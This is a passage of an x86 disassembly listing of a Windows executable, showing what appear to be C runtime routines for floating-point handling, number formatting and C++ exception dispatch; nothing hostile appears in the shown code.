pop edi
pop ebx
setz al
leave
retn
sub_4101C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4103D9(int,int,int,int,int,int,double,int)
sub_4103D9 proc near ; CODE XREF: sub_40FE24+2Bp
; sub_40FE77+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_410487
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_410444
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_41064C
lea eax, [ebp+var_20]
push eax
call sub_41364D
add esp, 0Ch
test eax, eax
jnz short loc_41043E
push esi
call sub_410461
pop ecx
loc_41043E: ; CODE XREF: sub_4103D9+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_410444: ; CODE XREF: sub_4103D9+14j
push 0FFFFh
push [ebp+arg_20]
call sub_41064C
push [ebp+arg_0]
call sub_410461
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_4103D9 endp
; =============== S U B R O U T I N E =======================================
sub_410461 proc near ; CODE XREF: sub_40FE77+7Dp
; sub_4103D9+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_41047C
jle short locret_410486
cmp eax, 3
jg short locret_410486
mov dword_47F914, 22h
retn
; ---------------------------------------------------------------------------
loc_41047C: ; CODE XREF: sub_410461+7j
mov dword_47F914, 21h
locret_410486: ; CODE XREF: sub_410461+9j
; sub_410461+Ej
retn
sub_410461 endp
; =============== S U B R O U T I N E =======================================
sub_410487 proc near ; CODE XREF: sub_4103D9+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_41FC38
loc_41048E: ; CODE XREF: sub_410487+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_4104A4
add eax, 8
inc ecx
cmp eax, offset dbl_41FD10
jl short loc_41048E
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4104A4: ; CODE XREF: sub_410487+Dj
mov eax, off_41FC3C[ecx*8]
retn
sub_410487 endp
; =============== S U B R O U T I N E =======================================
sub_4104AC proc near ; CODE XREF: sub_40FE77+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_4104B8
push 5
jmp short loc_4104CE
; ---------------------------------------------------------------------------
loc_4104B8: ; CODE XREF: sub_4104AC+6j
test al, 8
jz short loc_4104C0
push 1
jmp short loc_4104CE
; ---------------------------------------------------------------------------
loc_4104C0: ; CODE XREF: sub_4104AC+Ej
test al, 4
jz short loc_4104C8
push 2
jmp short loc_4104CE
; ---------------------------------------------------------------------------
loc_4104C8: ; CODE XREF: sub_4104AC+16j
test al, 1
jz short loc_4104D0
push 3
loc_4104CE: ; CODE XREF: sub_4104AC+Aj
; sub_4104AC+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_4104D0: ; CODE XREF: sub_4104AC+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_4104AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4104D9(double)
sub_4104D9 proc near ; CODE XREF: sub_40B7DA:loc_40B860p
; sub_40B923:loc_40B9A9p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_4104D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4104EB(double,int)
sub_4104EB proc near ; CODE XREF: sub_41056E+82p
; sub_41056E+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_4104EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410514 proc near ; CODE XREF: sub_40B7DA+31p
; sub_40B923+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_41052B
cmp [ebp+arg_0], edx
jnz short loc_41053D
push 1
jmp short loc_410567
; ---------------------------------------------------------------------------
loc_41052B: ; CODE XREF: sub_410514+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_41053D
cmp [ebp+arg_0], edx
jnz short loc_41053D
push 2
jmp short loc_410567
; ---------------------------------------------------------------------------
loc_41053D: ; CODE XREF: sub_410514+11j
; sub_410514+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_410550
push 3
jmp short loc_410567
; ---------------------------------------------------------------------------
loc_410550: ; CODE XREF: sub_410514+36j
cmp cx, 7FF0h
jnz short loc_41056A
test [ebp+arg_4], 7FFFFh
jnz short loc_410565
cmp [ebp+arg_0], edx
jz short loc_41056A
loc_410565: ; CODE XREF: sub_410514+4Aj
push 4
loc_410567: ; CODE XREF: sub_410514+15j
; sub_410514+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41056A: ; CODE XREF: sub_410514+41j
; sub_410514+4Fj
xor eax, eax
pop ebp
retn
sub_410514 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41056E(double,int)
sub_41056E proc near ; CODE XREF: sub_4101C2+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_4177A0
push esi
fnstsw ax
sahf
jnz short loc_41058E
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_410624
; ---------------------------------------------------------------------------
loc_41058E: ; CODE XREF: sub_41056E+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_4105FD
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_4105A6
cmp dword ptr [ebp+arg_0], ecx
jz short loc_4105FD
loc_4105A6: ; CODE XREF: sub_41056E+31j
fld [ebp+arg_0]
fcomp dbl_4177A0
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_4105BE
push 1
pop eax
jmp short loc_4105C0
; ---------------------------------------------------------------------------
loc_4105BE: ; CODE XREF: sub_41056E+49j
xor eax, eax
loc_4105C0: ; CODE XREF: sub_41056E+4Ej
; sub_41056E+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_4105D9
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_4105D3
or dword ptr [ebp+arg_0+4], 1
loc_4105D3: ; CODE XREF: sub_41056E+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_4105C0
; ---------------------------------------------------------------------------
loc_4105D9: ; CODE XREF: sub_41056E+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_4105E7
or byte ptr [ebp+arg_0+7], 80h
loc_4105E7: ; CODE XREF: sub_41056E+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_4104EB
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_410624
; ---------------------------------------------------------------------------
loc_4105FD: ; CODE XREF: sub_41056E+28j
; sub_41056E+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_4104EB
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_410624: ; CODE XREF: sub_41056E+1Bj
; sub_41056E+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_41056E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41062F proc near ; CODE XREF: sub_40FF0F+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_41062F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41063D proc near ; CODE XREF: sub_40FF0F+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_41063D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41064C proc near ; CODE XREF: sub_40B7DA+13p
; sub_40B7DA+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_41064C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41066F proc near ; CODE XREF: sub_4101C2+1Dp
; sub_4101C2+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_410686
fld tbyte_41FD38
fistp [ebp+arg_0]
wait
loc_410686: ; CODE XREF: sub_41066F+Bj
test cl, 8
jz short loc_41069B
fstsw ax
fld tbyte_41FD38
fstp [ebp+var_8]
wait
fstsw ax
loc_41069B: ; CODE XREF: sub_41066F+1Aj
test cl, 10h
jz short loc_4106AA
fld tbyte_41FD44
fstp [ebp+var_8]
wait
loc_4106AA: ; CODE XREF: sub_41066F+2Fj
test cl, 4
jz short loc_4106B8
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_4106B8: ; CODE XREF: sub_41066F+3Ej
test cl, 20h
jz short locret_4106C3
fldpi
fstp [ebp+var_8]
wait
locret_4106C3: ; CODE XREF: sub_41066F+4Cj
leave
retn
sub_41066F endp
; =============== S U B R O U T I N E =======================================
sub_4106C5 proc near ; CODE XREF: sub_40B8A9+Fp
push 30000h
push 10000h
call sub_413685
pop ecx
pop ecx
retn
sub_4106C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4106D7 proc near ; CODE XREF: sub_410715:loc_410739j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_4177B0
fstp [ebp+var_8]
fld dbl_4177A8
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_417630
fnstsw ax
sahf
jbe short loc_410711
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_410711: ; CODE XREF: sub_4106D7+33j
xor eax, eax
leave
retn
sub_4106D7 endp
; =============== S U B R O U T I N E =======================================
sub_410715 proc near ; CODE XREF: sub_40B8A9+5p
push offset aKernel32 ; "KERNEL32"
call dword_41708C ; GetModuleHandleA
test eax, eax
jz short loc_410739
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_417088 ; GetProcAddress
test eax, eax
jz short loc_410739
push 0
call eax ; sub_40B8A9
retn
; ---------------------------------------------------------------------------
loc_410739: ; CODE XREF: sub_410715+Dj
; sub_410715+1Dj
jmp sub_4106D7
sub_410715 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41073E proc near ; CODE XREF: sub_40D768+3CBp
; DATA XREF: sub_40B8C1+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_40CEE0
cmp eax, 65h
pop ecx
jz short loc_41077E
loc_410752: ; CODE XREF: sub_41073E+3Ej
inc esi
cmp dword_41FF84, 1
jle short loc_41076B
movsx eax, byte ptr [esi]
push 4
push eax
call sub_4114D9
pop ecx
pop ecx
jmp short loc_41077A
; ---------------------------------------------------------------------------
loc_41076B: ; CODE XREF: sub_41073E+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_41FD78
mov al, [ecx+eax*2]
and eax, 4
loc_41077A: ; CODE XREF: sub_41073E+2Bj
test eax, eax
jnz short loc_410752
loc_41077E: ; CODE XREF: sub_41073E+12j
mov cl, byte_41FF88
mov al, [esi]
mov [esi], cl
inc esi
loc_410789: ; CODE XREF: sub_41073E+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_410789
pop esi
retn
sub_41073E endp
; =============== S U B R O U T I N E =======================================
sub_410798 proc near ; CODE XREF: sub_40D768+3E2p
; DATA XREF: sub_40B8C1+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_41FF88
mov cl, [eax]
test cl, cl
jz short loc_4107B4
loc_4107A8: ; CODE XREF: sub_410798+1Aj
cmp cl, dl
jz short loc_4107B4
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_4107A8
loc_4107B4: ; CODE XREF: sub_410798+Ej
; sub_410798+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_4107E5
loc_4107BB: ; CODE XREF: sub_410798+34j
mov cl, [eax]
test cl, cl
jz short loc_4107CE
cmp cl, 65h
jz short loc_4107CE
cmp cl, 45h
jz short loc_4107CE
inc eax
jmp short loc_4107BB
; ---------------------------------------------------------------------------
loc_4107CE: ; CODE XREF: sub_410798+27j
; sub_410798+2Cj ...
mov ecx, eax
loc_4107D0: ; CODE XREF: sub_410798+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_4107D0
cmp [eax], dl
jnz short loc_4107DB
dec eax
loc_4107DB: ; CODE XREF: sub_410798+40j
; sub_410798+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_4107DB
locret_4107E5: ; CODE XREF: sub_410798+21j
retn
sub_410798 endp
; =============== S U B R O U T I N E =======================================
sub_4107E6 proc near ; DATA XREF: sub_40B8C1+28o
; .nsp0:off_41FD60o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_4177A0
fnstsw ax
sahf
jb short loc_4107FB
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4107FB: ; CODE XREF: sub_4107E6+Fj
xor eax, eax
retn
sub_4107E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4107FE proc near ; CODE XREF: sub_40DF72+430p
; DATA XREF: sub_40B8C1+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_410827
lea eax, [ebp+var_8]
push eax
call sub_413B48
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_410827: ; CODE XREF: sub_4107FE+Cj
lea eax, [ebp+arg_8]
push eax
call sub_413B75
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_4107FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41083C proc near ; CODE XREF: sub_410AB9+17p
; sub_410B03+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_47F97C, 0
push ebx
push esi
jz short loc_410871
mov ebx, [ebp+arg_8]
mov eax, dword_47F978
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_410B54
pop ecx
pop ecx
jmp short loc_4108A9
; ---------------------------------------------------------------------------
loc_410871: ; CODE XREF: sub_41083C+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_413C19
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_413BA2
add esp, 14h
loc_4108A9: ; CODE XREF: sub_41083C+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_4108B5
mov byte ptr [eax], 2Dh
inc eax
loc_4108B5: ; CODE XREF: sub_41083C+73j
test ebx, ebx
jle short loc_4108CD
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_41FF88
mov eax, edi
pop edi
mov [eax], cl
loc_4108CD: ; CODE XREF: sub_41083C+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_47F97C, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_40CD70
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_4108F4
mov byte ptr [ecx], 45h
loc_4108F4: ; CODE XREF: sub_41083C+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_410939
mov ebx, [esi+4]
dec ebx
jns short loc_410908
neg ebx
mov byte ptr [ecx], 2Dh
loc_410908: ; CODE XREF: sub_41083C+C5j
inc ecx
cmp ebx, 64h
jl short loc_41091F
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41091F: ; CODE XREF: sub_41083C+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_410936
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_410936: ; CODE XREF: sub_41083C+E7j
add [ecx+1], bl
loc_410939: ; CODE XREF: sub_41083C+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_41083C endp
; =============== S U B R O U T I N E =======================================
sub_410940 proc near ; CODE XREF: sub_410AE0+13p
; sub_410B03+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_47F97C, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_41097B
mov eax, dword_47F980
mov ebx, [esp+10h+arg_8]
mov esi, dword_47F978
cmp eax, ebx
jnz short loc_4109AB
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_4109AB
; ---------------------------------------------------------------------------
loc_41097B: ; CODE XREF: sub_410940+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_413C19
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_413BA2
add esp, 14h
loc_4109AB: ; CODE XREF: sub_410940+22j
; sub_410940+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_4109B9
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_4109B9: ; CODE XREF: sub_410940+70j
mov eax, [esi+4]
test eax, eax
jg short loc_4109D0
push 1
push edi
call sub_410B54
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_4109D2
; ---------------------------------------------------------------------------
loc_4109D0: ; CODE XREF: sub_410940+7Ej
add edi, eax
loc_4109D2: ; CODE XREF: sub_410940+8Ej
test ebx, ebx
jle short loc_410A17
push 1
push edi
call sub_410B54
mov al, byte_41FF88
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_410A17
cmp byte_47F97C, 0
jz short loc_4109FC
neg esi
jmp short loc_410A02
; ---------------------------------------------------------------------------
loc_4109FC: ; CODE XREF: sub_410940+B6j
neg esi
cmp ebx, esi
jl short loc_410A04
loc_410A02: ; CODE XREF: sub_410940+BAj
mov ebx, esi
loc_410A04: ; CODE XREF: sub_410940+C0j
push ebx
push edi
call sub_410B54
push ebx
push 30h
push edi
call sub_40B630
add esp, 14h
loc_410A17: ; CODE XREF: sub_410940+94j
; sub_410940+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_410940 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A1E proc near ; CODE XREF: sub_410B03+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_413C19
mov dword_47F978, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_47F980, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_413BA2
mov eax, dword_47F978
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_47F980, ecx
setl cl
mov byte_47F984, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_47F980, eax
jl short loc_410AA4
cmp eax, ebx
jge short loc_410AA4
test cl, cl
jz short loc_410A95
loc_410A8B: ; CODE XREF: sub_410A1E+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_410A8B
and [esi-2], al
loc_410A95: ; CODE XREF: sub_410A1E+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_410AE0
add esp, 0Ch
jmp short loc_410AB4
; ---------------------------------------------------------------------------
loc_410AA4: ; CODE XREF: sub_410A1E+63j
; sub_410A1E+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_410AB9
add esp, 10h
loc_410AB4: ; CODE XREF: sub_410A1E+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_410A1E endp
; =============== S U B R O U T I N E =======================================
sub_410AB9 proc near ; CODE XREF: sub_410A1E+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_47F97C, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41083C
and byte_47F97C, 0
add esp, 10h
retn
sub_410AB9 endp
; =============== S U B R O U T I N E =======================================
sub_410AE0 proc near ; CODE XREF: sub_410A1E+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_47F97C, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_410940
and byte_47F97C, 0
add esp, 0Ch
retn
sub_410AE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410B03 proc near ; CODE XREF: sub_40D768+3AAp
; DATA XREF: sub_40B8C1o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_410B3E
cmp [ebp+arg_8], 45h
jz short loc_410B3E
cmp [ebp+arg_8], 66h
jnz short loc_410B2B
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_410940
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_410B2B: ; CODE XREF: sub_410B03+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_410A1E
jmp short loc_410B4F
; ---------------------------------------------------------------------------
loc_410B3E: ; CODE XREF: sub_410B03+7j
; sub_410B03+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41083C
loc_410B4F: ; CODE XREF: sub_410B03+39j
add esp, 10h
pop ebp
retn
sub_410B03 endp
; =============== S U B R O U T I N E =======================================
sub_410B54 proc near ; CODE XREF: sub_41083C+2Cp
; sub_410940+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_410B77
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_40B5B0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_40BE50
add esp, 10h
pop esi
loc_410B77: ; CODE XREF: sub_410B54+7j
pop edi
retn
sub_410B54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410B79 proc near ; CODE XREF: .nsp0:0040BAA4p
; sub_40BB0D+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_410B8F
call sub_411422
loc_410B8F: ; CODE XREF: sub_410B79+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_410BB7
cmp dword ptr [esi+4], 0
jz short loc_410C0D
cmp [ebp+arg_14], 0
jnz short loc_410C0D
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_410EC0
add esp, 10h
jmp short loc_410C0D
; ---------------------------------------------------------------------------
loc_410BB7: ; CODE XREF: sub_410B79+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_410C0D
cmp dword ptr [eax], 0E06D7363h
jnz short loc_410BF1
cmp [eax+14h], edi
jbe short loc_410BF1
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_410BF1
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_410C10
; ---------------------------------------------------------------------------
loc_410BF1: ; CODE XREF: sub_410B79+4Aj
; sub_410B79+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_410C14
add esp, 20h
loc_410C0D: ; CODE XREF: sub_410B79+23j
; sub_410B79+29j ...
push 1
pop eax
loc_410C10: ; CODE XREF: sub_410B79+76j
pop edi
pop esi
pop ebp
retn
sub_410B79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410C14 proc near ; CODE XREF: sub_410B79+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_410C34
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_410C39
loc_410C34: ; CODE XREF: sub_410C14+16j
call sub_411422
loc_410C39: ; CODE XREF: sub_410C14+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_410D90
cmp dword ptr [esi+10h], 3
jnz short loc_410CAD
cmp [esi+14h], edi
jnz short loc_410CAD
cmp dword ptr [esi+1Ch], 0
jnz short loc_410CAD
mov esi, dword_47F988
test esi, esi
jz loc_410D8B
mov eax, dword_47F98C
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_413DA0
pop ecx
test eax, eax
pop ecx
jnz short loc_410C8F
call sub_411422
